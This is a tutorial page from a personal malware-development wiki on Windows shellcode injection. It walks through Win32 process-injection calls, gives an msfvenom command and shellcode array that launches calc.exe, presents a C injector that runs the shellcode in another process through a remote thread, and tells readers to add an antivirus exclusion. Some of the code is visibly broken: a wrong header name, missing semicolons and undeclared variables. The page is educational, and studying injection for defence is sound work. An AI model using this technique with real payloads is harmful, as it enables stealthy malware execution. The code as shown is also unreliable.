> For the complete documentation index, see [llms.txt](https://lil-skelly.gitbook.io/about-me/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lil-skelly.gitbook.io/about-me/malware-development/process-injection/shellcode-injection.md).

# Shellcode Injection

Shellcode injection consists of four basic steps which are:

1. Attach t&#x6F;**/**&#x63;reate a process.
2. Allocate some memory within that process.&#x20;
3. Write the memory to the process.
4. Finally, create a thread to execute the code we **injected** into the process's memory.

<figure><img src="/files/0XzA6bAoKJXwRhEQHlYG" alt=""><figcaption><p>Shellcode Injection flow chart</p></figcaption></figure>

## Win32 API Calls

{% hint style="info" %}
Documentation for the following **API calls** can be found by clicking the functions header.&#x20;
{% endhint %}

### [OpenProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)

```c
HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
```

### [VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)

```c
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

### [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)

```c
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

### [CreateRemoteThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)

```c
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
```

## Setup

Let's start by implementing [step 1](#openprocess). The `OpenProcess` function returns a handle to a specified process. In case of failure, it will return `NULL` and we can get the error by calling `GetLastError()`. \
Therefore we can implement a simple check to handle errors:

```c
#include <window.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    DWORD PID = atoi(argv[1])
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    
    if (hProcess != NULL) {
        printf("[+] Got handle to process [%ld]", PID);
        return EXIT_SUCCESS;
    }
    else {
        printf("[-] Could not get handle to process [%ld]\nERROR: %ld", PID, GetLastError());
        return EXIT_FAILURE;
    }
}
```

## Shellcode

We will use `msfvenom` in order to generate a simple payload that will run the `calc.exe` application.

```
msfvenom --platform windows --arch x64 EXITFUNC=thread -p windows/x64/exec CMD="cmd.exe /c calc.exe" -f c --var-name=shellcode

unsigned char shellcode[] = 
"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\\x50"
"\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52"
"\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a"
"\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41"
"\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52"
"\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x8b\\x80\\x88\\x00\\x00\\x00\\x48"
"\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40"
"\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48"
"\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41"
"\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1"
"\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c"
"\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01"
"\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a"
"\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b"
"\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x48\\xba\\x01\\x00\\x00\\x00\\x00"
"\\x00\\x00\\x00\\x48\\x8d\\x8d\\x01\\x01\\x00\\x00\\x41\\xba\\x31\\x8b"
"\\x6f\\x87\\xff\\xd5\\xbb\\xe0\\x1d\\x2a\\x0a\\x41\\xba\\xa6\\x95\\xbd"
"\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0"
"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff"
"\\xd5\\x63\\x6d\\x64\\x2e\\x65\\x78\\x65\\x20\\x2f\\x63\\x20\\x63\\x61"
"\\x6c\\x63\\x2e\\x65\\x78\\x65\\x00";

size_t shellcodeSize = sizeof(shellcode);
```

## Setup II

```c
#include <window.h>
#include <stdio.h>

unsigned char shellcode[] = 
"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\\x50"
"\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52"
"\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a"
"\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41"
"\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52"
"\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x8b\\x80\\x88\\x00\\x00\\x00\\x48"
"\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40"
"\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48"
"\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41"
"\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1"
"\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c"
"\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01"
"\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a"
"\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b"
"\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x48\\xba\\x01\\x00\\x00\\x00\\x00"
"\\x00\\x00\\x00\\x48\\x8d\\x8d\\x01\\x01\\x00\\x00\\x41\\xba\\x31\\x8b"
"\\x6f\\x87\\xff\\xd5\\xbb\\xe0\\x1d\\x2a\\x0a\\x41\\xba\\xa6\\x95\\xbd"
"\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0"
"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff"
"\\xd5\\x63\\x6d\\x64\\x2e\\x65\\x78\\x65\\x20\\x2f\\x63\\x20\\x63\\x61"
"\\x6c\\x63\\x2e\\x65\\x78\\x65\\x00";

size_t shellcodeSize = sizeof(shellcode);

int main(int argc, char *argv[]) {
    DWORD PID = atoi(argv[1])
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    
    if (hProcess != NULL) {
        printf("[+] Got handle to process [%ld]", PID);
        
        rBuffer = VirtualAllocEx(hProcess, NULL, payloadSize, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(hProcess, rBuffer, payload, payloadSize, NULL);
        
        hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);
        
        CloseHandle(hProcess);
        CloseHandle(hThread);
        
        return EXIT_SUCCESS;
    }
    else {
        printf("[-] Could not get handle to process [%ld]\nERROR: %ld", PID, GetLastError());
        return EXIT_FAILURE;
    }
}
```

## Injection

{% hint style="warning" %}
Remember to make an **exception** in your antivirus software.\
Using the **Win32 API** like that will immediately get the program flagged by your **AV.**
{% endhint %}

Now let's compile our script

<figure><img src="/files/nytBGAf235ycjQagKx4L" alt=""><figcaption><p>Add an exclusion to Microsoft Defender</p></figcaption></figure>

<pre class="language-powershell"><code class="lang-powershell">> gcc shellcode.c -o shellcode.exe
<strong>> ls
</strong>        Directory: C:\[...]\shellcode


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          4/4/2023   2:56 PM           2710 shellcode.c
-a----          4/4/2023   2:57 PM         257027 shellcode.exe
</code></pre>

Great! Our injector is ready. For demonstration purposes, we will inject into `notepad.exe`

```powershell
> notepad
> ps | findstr notepad
    247      13     2972      14468       0.08   8224   2 notepad
> ./shellcode.exe
```

{% hint style="info" %}
For the sake of demonstration and logging, I added *some* prints in the code.
{% endhint %}

<figure><img src="/files/KI9gIvHqukkZzCNco3UY" alt=""><figcaption><p>Successful shellcode injection.</p></figcaption></figure>

:tada: And we did it! Congratulations :smile:

In the next writeup we will be talking about DLL Injections.
